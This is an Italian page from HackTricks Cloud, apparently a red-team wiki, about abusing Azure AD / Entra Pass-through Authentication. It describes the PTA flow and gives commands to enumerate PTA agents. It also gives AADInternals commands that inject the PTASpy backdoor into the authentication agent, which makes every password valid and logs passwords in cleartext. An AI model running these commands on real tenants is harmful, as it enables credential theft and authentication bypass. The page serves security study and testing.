Az - PTA - Pass-through Authentication
Reading time: 5 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Informazioni di base
Dal documento: Microsoft Entra pass-through authentication consente ai tuoi utenti di accedere sia alle applicazioni on-premises che a quelle basate su cloud utilizzando le stesse password. Questa funzionalità offre ai tuoi utenti un'esperienza migliore - una password in meno da ricordare, e riduce i costi del supporto IT perché è meno probabile che i tuoi utenti dimentichino come accedere. Quando gli utenti accedono utilizzando Microsoft Entra ID, questa funzionalità convalida le password degli utenti direttamente contro il tuo Active Directory on-premises.
In PTA le identità sono synchronize ma le password non lo sono come in PHS.
L'autenticazione è convalidata nell'AD on-prem e la comunicazione con il cloud avviene tramite un agente di autenticazione in esecuzione su un server on-prem (non deve essere necessariamente sul DC on-prem).
Flusso di autenticazione
.png)
- Per accedere l'utente viene reindirizzato a Azure AD, dove invia il nome utente e la password
- Le credenziali sono crittografate e messe in una coda in Azure AD
- L'agente di autenticazione on-prem raccoglie le credenziali dalla coda e le decrittografa. Questo agente è chiamato "Pass-through authentication agent" o agente PTA.
- L'agente convalida le credenziali contro l'AD on-prem e invia la risposta indietro a Azure AD che, se la risposta è positiva, completa l'accesso dell'utente.
warning
Se un attaccante compromette il PTA può vedere tutte le credenziali dalla coda (in testo chiaro).
Può anche convalidare qualsiasi credenziale su AzureAD (attacco simile a Skeleton key).
Enumerazione
Da Entra ID:
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
Controlla se l'agente è in esecuzione nel server on-prem:
Get-Service -Name "AzureADConnectAuthenticationAgent"
Pivoting
Se hai accesso admin al server Azure AD Connect con l'agente PTA in esecuzione, puoi utilizzare il modulo AADInternals per inserire una backdoor che convaliderà TUTTE le password inserite (quindi tutte le password saranno valide per l'autenticazione):
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
note
Se l'installazione fallisce, ciò è probabilmente dovuto alla mancanza dei Microsoft Visual C++ 2015 Redistributables.
Questo backdoor farà:
- Creare una cartella nascosta C:\PTASpy
- Copiare un PTASpy.dllinC:\PTASpy
- Iniettare PTASpy.dllnel processoAzureADConnectAuthenticationAgentService
note
Quando il servizio AzureADConnectAuthenticationAgent viene riavviato, PTASpy viene “scaricato” e deve essere reinstallato.
caution
Dopo aver ottenuto i privilegi GA nel cloud, è possibile registrare un nuovo agente PTA e ripetere i passaggi precedenti per autenticarsi utilizzando qualsiasi password e anche, ottenere le password in chiaro.
Seamless SSO
È possibile utilizzare Seamless SSO con PTA, che è vulnerabile ad altri abusi. Controllalo in:
Riferimenti
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta
- https://aadinternals.com/post/on-prem_admin/#pass-through-authentication
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud